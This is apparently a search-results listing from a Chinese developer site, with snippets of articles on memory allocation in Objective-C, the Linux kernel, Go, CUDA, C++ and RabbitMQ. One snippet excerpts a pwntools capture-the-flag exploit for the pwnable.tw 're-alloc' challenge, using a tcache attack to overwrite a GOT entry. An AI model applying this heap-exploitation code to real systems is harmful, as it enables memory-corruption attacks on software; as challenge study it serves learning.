- 综合排序
- 最热优先
- 最新优先
- 来自专栏sweet_iOS
alloc 、init、new详解
alloc 看一下帮助文档： ? alloc.jpeg 返回这个接受消息的类的一个实例. 结论: alloc 后只是在系统中分配了内存,这段内存空间的大小与这个类本身结构所占字节的大小相等,并返回了这段内存的指针. alloc 将申请内存空间中的值都设置为 0. alloc 调用了方法 allocWithZone :. alloc 就执行了一次,没有继承的关系. init 看一下帮助文档： ? alloc (或者是 allocWithZone:) 消息在一行内执行: TheClass *newObject = [[TheClass alloc] init]; An object isn’t 这个方法可以当做alloc和init的组合。首先alloc初始化了一个class结构体对象的指针，然后调用init方法完成初始化过程。 结论: new 可以看做是alloc与init的组合.
1.1K30发布于 2020-12-23 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ③ ( 物理页分配标志位分析 | ALLOC_WMARK_MIN | ALLOC_WMARK_MASK | ALLOC_HARDER )
文章目录 一、物理页分配标志位分析 1、水线相关标志位 ( ALLOC_WMARK_MIN | ALLOC_WMARK_LOW | ALLOC_WMARK_HIGH | ALLOC_NO_WATERMARKS ) 2、水线位源码 ( ALLOC_WMARK_MASK ) 3、物理页分配标志位 ( ALLOC_HARDER | ALLOC_HIGH | ALLOC_CPUSET | ALLOC_CMA ) 二 | ALLOC_WMARK_LOW | ALLOC_WMARK_HIGH | ALLOC_NO_WATERMARKS ) ALLOC_WMARK_MIN 宏定义 , 表示使用 " 最低水线 " 分配内存 ALLOC_HARDER | ALLOC_HIGH | ALLOC_CPUSET | ALLOC_CMA ) ALLOC_HARDER 宏定义 , 表示 试图更努力的分配内存 ; ALLOC_HIGH ALLOC_HARDER 0x10 /* try to alloc harder */ #define ALLOC_HIGH 0x20 /* __GFP_HIGH set */ #define ALLOC_CPUSET
73510编辑于 2023-03-30 - 来自专栏iOS底层原理
ios开发之Alloc底层原理探究
1.为什么要用alloc? 我们在oc开发当中经常使用alloc来为对象申请开辟内存空间例如 School *s1 = [School alloc] 2.alloc 的流程 在苹果开源的源码文件NSObject.mm中可以轻易找到 alloc的流程。 如下 objetc_alloc->alloc->_objc_rootAlloc->callAlloc->_objc_rootAllocWithZone->_class_createInstanceFromZone ，我们alloc的时候首先需要知道实例化对象的类 需要多少/多大的内存空间。
1.1K50发布于 2020-12-08 - 来自专栏赤道企鹅的博客
re-alloc - realloc() 技巧利用
/re-alloc") p = remote("chall.pwnable.tw", 10106) elf = ELF("./re-alloc") libc = ELF(". /libc-remote.so") context.log_level = "debug" def alloc(idx, size, content): p.recvuntil(b"Your (0, 0x28, b"aaaa") realloc(0, 0, b"") realloc(0, 0x28, p64(atoll_got)) alloc(1, 0x28, b"aaaa b"a"*8) free(1) #gdb.attach(p) ## get two tcache in same mem ## tcache attack alloc (0, 0x58, b"bbbb") realloc(0, 0, b"") realloc(0, 0x58, p64(atoll_got)) alloc(1, 0x58, b"bbbb
97220编辑于 2022-08-01 - 来自专栏iOSer
alloc 和 init都做了什么验证。
结论： alloc负责分配内存和创建对象对应的isa指针； init只是返回alloc生成的对象。 所以alloc后，多次调用init，返回的对象是同一个！ 代码如下： 1 // 2 // main.m 3 // alloc.initTest 4 // 5 // Created by LongMa on 2019/5/30. 6 // Copyright , const char * argv[]) { 12 @autoreleasepool {15 16 NSObject *obj1 = [NSObject alloc [65183:12003258] 0x10065d810 2019-05-30 09:35:37.019864+0800 alloc.initTest[65183:12003258] 0x10065d810 2019-05-30 09:35:37.019874+0800 alloc.initTest[65183:12003258] 0x10065d810 Program ended with exit code
48630发布于 2020-09-04 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】memblock 分配器编程接口 ④ ( memblock_alloc 函数 | memblock_alloc_base 函数 )
文章目录 一、memblock_alloc 函数分析 二、memblock_alloc_base 函数分析 三、__memblock_alloc_base 函数分析 四、memblock_alloc_base_nid 分配内存函数 ; 一、memblock_alloc 函数分析 ---- memblock_alloc 函数 的作用是 在 指定地址之前 分配一块物理内存 ; memblock_alloc 函数 定义在 \memblock.c#1242 在 memblock_alloc 函数 中 , 调用了 memblock_alloc_base 函数 ; 二、memblock_alloc_base 函数分析 --- 函数分析 ---- 在 __memblock_alloc_base 函数 中 , 调用了 memblock_alloc_base_nid 函数 ; __memblock_alloc_base 函数参数说明 函数分析 ---- 在 memblock_alloc_base_nid 函数 中 , 调用了 memblock_alloc_range_nid 函数 ; memblock_alloc_base_nid
1.6K20编辑于 2023-03-30 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ② ( __alloc_pages_nodemask 函数参数分析 | __alloc_pages_nodemask 函数分配物理页流程 )
文章目录 一、__alloc_pages_nodemask 函数参数分析 二、 __alloc_pages_nodemask 函数分配物理页流程 一、__alloc_pages_nodemask 函数参数分析 ---- __alloc_pages_nodemask 函数 定义在 Linux 内核源码的 linux-4.12\mm\page_alloc.c#4003 位置 , 函数原型如下 : ① gfp_t , 如果没有要求 , 可以设置为 NULL ; /* * This is the 'heart' of the zoned buddy allocator. */ struct page * __alloc_pages_nodemask , unsigned int order, struct zonelist *zonelist, nodemask_t *nodemask) 源码路径 : linux-4.12\mm\page_alloc.c #4003 二、 __alloc_pages_nodemask 函数分配物理页流程 ---- __alloc_pages_nodemask 函数分配物理页流程 : 首先 , 根据 gfp_t gfp_mask
1.2K20编辑于 2023-03-30 - 来自专栏小黑娃Henry
OC底层探索03-常用的alloc,init,new到底做了什么？OC底层探索03-常用的alloc,init,new到底做了什么？
alloc alloc 想要一探alloc是如何申请了内存空间的，就需要使用上篇中提到的objc源码了。 废话不多说，打开源码，加上断点，一步步开始调试： 此处有两种可能，简述流程省略代码： 创建NSObjec 直接进入alloc流程 创建继承自NSObject的自定义类 先进入_objc_alloc ->callAlloc->alloc,为什么会进入_objc_alloc而不是调用的alloc这就要涉及到llvm中的知识，后续有机会再来解释，可以简单理解为llvm做了一次类似于hook的操作，将alloc alloc流程图 _class_createInstanceFromZone ? //计算实际内存占用 size_t size = _flags & FAST_CACHE_ALLOC_MASK; return align16(size + extra - FAST_CACHE_ALLOC_DELTA16
1.1K40发布于 2021-08-09 - 来自专栏linux驱动个人学习
alloc_page分配内存空间--Linux内存管理(十七)
完成内存分配, 而alloc_pages又借助于alloc_pages_node __get_free_pages函数的定义在mm/page_alloc.c? , order) #endif UMA结构下的alloc_pages是通过alloc_pages_node函数实现的, 下面我们看看alloc_pages_node函数的定义, 在include/linux & ALLOC_CMA) && ! 该函数定义在mm/page_alloc.c? , const struct alloc_context *ac) 这个封装好的结构就是struct alloc_context, 定义在mm/internal.h?
3.7K11发布于 2018-12-28 - 来自专栏区块链入门
【实践】golang pprof 实战-CPU,heap,alloc,goroutine,mutex,block
如果要说在 golang 开发过程进行性能调优，pprof 一定是一个大杀器般的工具。但在网上找到的教程都偏向简略，难寻真的能应用于实战的教程。这也无可厚非，毕竟 pprof 是当程序占用资源异常时才需要启用的工具，而我相信大家的编码水平和排场问题的能力是足够高的，一般不会写出性能极度堪忧的程序，且即使发现有一些资源异常占用，也会通过排查代码快速定位，这也导致 pprof 需要上战场的机会少之又少。即使大家有心想学习使用 pprof，却也常常相忘于江湖。
9.9K32发布于 2019-08-12 - 来自专栏猫头虎博客专区
如何解决 RuntimeError: CUDA error: CUBLAS_STATUS_ALLOC_FAILED when calling cublasCreate(handle) 错误
如何解决 RuntimeError: CUDA error: CUBLAS_STATUS_ALLOC_FAILED when calling cublasCreate(handle) 错误 在深度学习的训练过程中 但有时，我们可能会遇到 RuntimeError: CUDA error: CUBLAS_STATUS_ALLOC_FAILED when calling cublasCreate(handle) 这样的错误信息 一、错误分析 错误信息 RuntimeError: CUDA error: CUBLAS_STATUS_ALLOC_FAILED when calling cublasCreate(handle) 通常出现在 二、解决方案 针对 CUBLAS_STATUS_ALLOC_FAILED 错误，有几个常见的解决步骤。下面将逐一列出并详细介绍如何进行排查和解决。 1. 安装与 CUDA 10.1 兼容的 PyTorch pip install torch==1.7.0+cu101 三、总结 RuntimeError: CUDA error: CUBLAS_STATUS_ALLOC_FAILED
2.8K00编辑于 2025-03-23 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ① ( 分区伙伴分配器物理分配页核心函数 __alloc_pages_nodemask | __alloc_pages_nodemask 函数完整源码 )
文章目录 一、分区伙伴分配器物理分配页核心函数 __alloc_pages_nodemask 二、__alloc_pages_nodemask 函数完整源码 一、分区伙伴分配器物理分配页核心函数 __alloc_pages_nodemask ; __alloc_pages_nodemask 函数 定义在 Linux 内核源码的 linux-4.12\mm\page_alloc.c#4003 位置 , 函数原型如下 : /* * This , nodemask_t *nodemask) { struct page *page; unsigned int alloc_flags = ALLOC_WMARK_LOW; gfp_t alloc_mask prepare_alloc_pages(gfp_mask, order, zonelist, nodemask, &ac, &alloc_mask, &alloc_flags)) return NULL = nodemask)) ac.nodemask = nodemask; page = __alloc_pages_slowpath(alloc_mask, order, &ac); out:
58410编辑于 2023-03-30 - 来自专栏全栈程序员必看
【hive】hive查询报错INFO: os::commit_memory(0x00000006e9990000, 3597074432, 0) failed； error=‘Cannot alloc
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/146411.html原文链接：https://javaforall.cn
74330编辑于 2022-08-28 - 来自专栏C++
深入理解C++17的std::aligned_alloc：动态分配对齐内存的利器
C++17引入的std::aligned_alloc函数，为开发者提供了便捷的对齐内存分配方式。 std::aligned_alloc详细剖析函数原型std::aligned_alloc是C++17标准库新增函数，用于分配对齐内存，其原型为：void* aligned_alloc(std::size_t 线程安全性std::aligned_alloc具备线程安全性。它仅访问由参数可见的内存区域，不涉及静态存储。 std::aligned_alloc能分配满足要求的对齐内存，提升程序性能。缓存与内存页优化：将数据对齐到缓存行或虚拟内存页边界，可减少缓存未命中和页错误。 总结std::aligned_alloc是C++17标准库的有力工具，为开发者提供高效的对齐内存分配方法，对优化程序性能意义重大。
1.3K00编辑于 2025-02-02 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ⑨ ( __alloc_pages_slowpath 慢速路径调用函数源码分析 | retry 标号代码分析 )
文章目录 一、retry 标号代码分析 二、retry 标号完整代码 在 【Linux 内核 内存管理】物理分配页 ② ( __alloc_pages_nodemask 函数参数分析 | __alloc_pages_nodemask can_direct_reclaim) goto nopage; 源码路径 : linux-4.12\mm\page_alloc.c#3817 调用 __alloc_pages_direct_reclaim page_alloc.c#3833 调用 __alloc_pages_direct_compact 函数 , 针对申请 物理页 阶数 大于 0 的情况 , 执行 同步模式 下的 内存碎片整理 操作 ; (alloc_flags & ALLOC_CPUSET) || (alloc_flags & ALLOC_NO_WATERMARKS)) { ac->zonelist = node_zonelist compaction and then allocating */ page = __alloc_pages_direct_compact(gfp_mask, order, alloc_flags,
1K10编辑于 2023-03-30 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ④ ( __alloc_pages_nodemask 函数源码分析 | 快速路径 | 慢速路径 | get_page_from_freelist 源码 )
内核 内存管理】物理分配页 ② ( __alloc_pages_nodemask 函数参数分析 | __alloc_pages_nodemask 函数分配物理页流程 ) 博客中 , 分析了 __alloc_pages_nodemask , order, alloc_flags, &ac); if (likely(page)) goto out; 源码路径 : linux-4.12\mm\page_alloc.c#4019 out (page, order, gfp_mask); trace_mm_page_alloc(page, order, alloc_mask, ac.migratetype); return page & ALLOC_CPUSET) && ! & ALLOC_WMARK_MASK]; if (!
1.3K30编辑于 2023-03-30 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ⑦ ( __alloc_pages_slowpath 慢速路径调用函数源码分析 | 判断页阶数 | 读取 mems_allowed | 分配标志位转换 )
文章目录 一、__alloc_pages_slowpath 慢速路径调用函数 二、判断页阶数 三、读取进程 mems_allowed 成员 四、分配标志位转换 五、__alloc_pages_slowpath 慢速路径调用完整函数源码 在 【Linux 内核 内存管理】物理分配页 ② ( __alloc_pages_nodemask 函数参数分析 | __alloc_pages_nodemask 函数分配物理页流程 函数 , 定义在 Linux 内核源码的 linux-4.12\mm\page_alloc.c#3676 位置 ; 源码路径 : linux-4.12\mm\page_alloc.c#3676 二、 So we do that now. */ alloc_flags = gfp_to_alloc_flags(gfp_mask); 源码路径 : linux-4.12\mm\page_alloc.c (alloc_flags & ALLOC_CPUSET) || (alloc_flags & ALLOC_NO_WATERMARKS)) { ac->zonelist = node_zonelist
1.7K20编辑于 2023-03-30 - 来自专栏韩曙亮的移动开发专栏
【Linux 内核 内存管理】物理分配页 ⑧ ( __alloc_pages_slowpath 慢速路径调用函数源码分析 | 获取首选内存区域 | 异步回收内存页 | 最低水线也分配 | 直接分配 )
文章目录 一、获取首选内存区域 二、异步回收内存页 三、最低水线也分配 四、直接分配内存 在 【Linux 内核 内存管理】物理分配页 ② ( __alloc_pages_nodemask 函数参数分析 | __alloc_pages_nodemask 函数分配物理页流程 ) 博客中 , 分析了 __alloc_pages_nodemask 函数分配物理页流程如下 : 首先 , 根据 gfp_t gfp_mask 慢速路径调用函数源码分析 | 判断页阶数 | 读取 mems_allowed | 分配标志位转换 ) 分析 __alloc_pages_slowpath 慢速路径 内存分配 调用函数 的后续部分源码 ac->preferred_zoneref->zone) goto nopage; 源码路径 : linux-4.12\mm\page_alloc.c#3731 二、异步回收内存页 ---- 调用 gfp_pfmemalloc_allowed(gfp_mask)) { page = __alloc_pages_direct_compact(gfp_mask, order, alloc_flags
1.7K20编辑于 2023-03-30 - 来自专栏Linux内核深入分析
快车道-分配页
内核提供如下函数用于分配页： alloc_pages(gfp_mask, order) //用于分配一个order阶数的页 alloc_page(gfp_mask) //用于分配一页，最终调用的是alloc_pages(gfp_mask, 0) 那我们就分析alloc_pages的具体实现 static inline struct page *alloc_pages_node prepare_alloc_pages(gfp_mask, order, preferred_nid, nodemask, &ac, &alloc_mask, &alloc_flags)) , alloc_flags, &ac); page = __alloc_pages_slowpath(alloc_mask, order, &ac); return page; & ALLOC_CPUSET) && !
78410发布于 2020-04-24 - 来自专栏陈猿解码
RabbitMQ——内存调优（一）
而所有这些allocator的内存最终都来自于sys_alloc、mseg_alloc；也就是说sys_alloc/mseg_alloc这两个allocator真正从系统申请内存，然后分配给不同的allocator D：std_alloc E：ets_alloc F：fix_alloc H：eheap_alloc I：literal_alloc L：ll_alloc M：mseg_alloc R：driver_alloc S：sl_alloc T：temp_alloc X：exec_alloc Y：sys_alloc 其中sys_alloc、literal_alloc和temp_alloc始终是启用的，即不可禁用； mseg_alloc {glibc,[2,12], [sys_alloc,temp_alloc,sl_alloc,std_alloc,ll_alloc, eheap_alloc,ets_alloc ,fix_alloc,literal_alloc,exec_alloc, binary_alloc,driver_alloc,mseg_alloc,sys_aligned_alloc,
1.6K10编辑于 2023-02-28
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号